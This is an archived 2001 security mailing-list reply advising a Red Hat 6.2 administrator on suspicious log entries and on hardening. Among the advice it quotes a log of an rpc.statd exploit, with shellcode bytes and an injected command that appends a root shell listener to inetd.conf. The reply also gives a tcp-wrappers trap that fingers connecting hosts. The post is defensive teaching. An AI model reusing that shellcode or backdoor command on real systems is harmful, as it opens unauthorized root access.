On 6/11/01 7:31 AM Jim Starke said...
>Hello everyone,
>
> I gave Brian the url so that he can subscribe to this list but am going
>to post his email here. Could someone shed any light on the logs that he
>sent me and if there is reason to be concerned?
>
> I do not have enough experience to give him a qualified answer and am
>deferring to the advice of the experts on the list.
>
> Thanks in advance!
>
>Jim
>
>Brian Clifton wrote:
>>
>> Hi again Jim
>>
>> I am running RH6.2 - pretty well patched e.g.
>> imap-4.7c2-1.phall
>> bind-8.2.3-0.6.x
>> sendmail-8.9.3-15
>> inn-2.2.1-1
>> slrn-0.9.6.4-0.6
>> wu-2.6.0(1)
>>
>> Apache (apache-1.3.9-8) is a bit out of date, but I think that is all!
>> host.allow will let ftp users from anywhere but thats it. Telnet and
>> pop3 access is denied for all but our internal users.
Upgrade. Keep everything up to date, even if it isn't running. You may
turn it on one day and not realize that it's not up-to-date. Anonymous
FTP should be OFF. Very important. Most (if not nearly all) FTP sploits
require the ability to get logged in. Disable anonymous FTP. It would
greatly improve security if you'd restrict FTP access to a few domains as
well.
>> I have had a look at our /var/log/message file and notice a couple of
>> entries:
>>
>> Jun 1 14:39:37 linux portmap[27164]: connect from 206.218.166.214 to
>> getport(mountd): request from unauthorized host
>> Jun 6 23:49:02 linux portmap[20055]: connect from 212.55.157.163 to
>> getport(status): request from unauthorized host
>>
>> These look like failed hacks??
Really those look like basic connects. Still that's no reason for
portmap or any of the like to be running. Disable all of those. RPC
and FTP attacks are the most prevelent. Few people actually RPC
services. Also upgrade your nfs-utils (requires a newer kernel). The
newer nfs-utils support TCP Wrappers. This is what a rpc.statd sploit
looks like in the logs:
Nov 10 06:05:08 elm rpc.statd[338]: SM_MON request for hostname
containing '/':
^D÷ÿ¿^D÷ÿ¿^E÷ÿ¿^E÷ÿ¿^F÷ÿ¿^F÷ÿ¿^G÷ÿ¿^G÷ÿ¿08049f10 bffff754 000028f8
4d5f4d53 7220
4e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63 696e6961
2720676e 203
a272f
00000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
00000
000000000000000000000000000000000000000000000000000000000000000000000000000
00000
bffff70400000000000000000000000000000000000000000000000bffff7050000bffff706
00000
000000000000000000000000000000000000000000000000000000000000000000000000000
00000
000000000000000000000000000000000000000000000000000000000000000000000000000
00000
0000000000000000000bffff707<90><90><90><90><90><90><90><90><90><90><90><90>
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>ëK^<89>
v¬
<83>î <8D>^(<83>Æ <89>^°<83>î <8D>^.<83>Æ <83>Ã <83>ë#<89>^´1À<83>î
<88>F'<88>F*
<83>Æ <88>F«<89>F¸°+, <89>ó<8D>N¬<8D>V¸Í<80>1Û<89>Ø@Í<80>è°ÿÿÿ/bin/sh -c
echo 97
04 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP
inetd
Nov 10 06:05:19 elm inetd[464]: pid 1538: exit signal 13
This was done to a basic RH 6.2 installation within mere days of it going
on the 'Net, not advertising any service as well and without a DNS entry.
Upgrade, disable, upgrade, disable, upgrade, disable....
>> Also I think this is someone trying to run linuxconf remotely:
>> Jun 9 10:29:30 linux linuxconf[31288]: IP 195.173.171.194 do not match
>> 192.168.1.0/255.255.255.0
As much as beginners like this tool, it really isn't worth running. It
and sendmail do not get along at all. I've encountered more problems
with people using this tool to break things than imaginable. It would be
Brian's best interest to disable it and learn what files to edit by hand
to do the same tasks. Sometimes you just don't have a GUI to fix a
problem in an emergency. Comment out the line in /etc/inetd.conf that
pertains to linuxxonf (look towards the end). You also need to disable
the linuxconf RC scripts. In /etc/rc.d/rc#.d/S99linuxconf (where # is
either 3 or 5 depending on your runlevel) either delete that symlink or
move it to a little s to keep it from starting at the next boot. Your
personal preference. While you are in your inetd.conf (pico -w to keep
lines from wrapping), comment out everything but FTP and telnet. You
won't need the other until you know for sure what they are and how to use
them. By that time you'll have found better replacements anyhow. :)
>> In /var/log/secure:
>> Jun 1 02:37:40 linux in.ftpd[24950]: connect from 202.156.143.146
>> ## Someone from mcns146.docsis143.singa.pore.net##
>>
>> Jun 1 16:23:06 linux ipop3d[27543]: refused connect from 212.169.20.127
>> ## no reverse lookup ##
You probably don't need to be running POP. If you do, upgrade. Use a
different server, say Qpopper. I believe there is a sploit for the stock
GNU POP daemon.
>> Jun 6 19:24:33 linux in.telnetd[19304]: refused connect from
>> 62.211.40.73
You'll see these from time to time, sometime hour to hour. They are more
or less normal. Just someone rattling the doors and windows a bit. They
might be recording banners for later plundering. Hint, edit
/etc/rc.d/rc.local and comment out the lines at the end that talk about
over writing /etc/issue*. Then edit those two files by hand and take out
everything that says what OS, processor, or kernel version there is. Put
something in that is very generic like your FQDN. The issue.net banner
will be advertised on telnet sessions. issue will be shown on the
console.
In your /etc/hosts.deny, put in ALL: ALL. That denys everything. Then
use your hosts.allow to explictly allow services you want to be seen and
from where. I tend to have some basic booby-traps for some common
services like telnet.
in.telnetd: ALL: spawn (/usr/sbin/safe_finger -l @%h | \
/bin/netstat -a |/bin/grep telnet | \
/bin/mail -s "***[%h:%d]" alertat_private) & \
: severity local3.info: deny
Be careful with that stuff though. Read the man pages. Basically you
just need to turn things off. If it's not running, you're much less
susceptable. You also need to keep things upgraded. It can be a very
daunting task but it's a neccessary one that we all have to do.
Good luck!
PS==> When your skills grow, look into tools like portsentry, logcheck,
host-based packet filters via ipchains, tripwire, etc... Also, netstat
-a --inet will report all ports being listened on. Use that to see what
else is running that hasn't yet been turned off. Get nmap installed and
portscan yourself on a regular basis. nmap -sS -sU -sR -O your public IP
-v -v is a good way to go. If you have local users on your box other
than yourself or a trusted buddy, you need to adress a lot of local
security issues.
--
Justin Shore, ES-SS ES-SSR Pittsburg State University
Network & Systems Manager Kelce 157Q
Office of Information Systems Pittsburg, KS 66762
Voice: (620) 235-4606 Fax: (620) 235-4545
http://www.pittstate.edu/ois/
Warning: This message has been quadruple Rot13'ed for your protection.
This archive was generated by hypermail 2b30 : Mon Jun 11 2001 - 20:53:23 PDT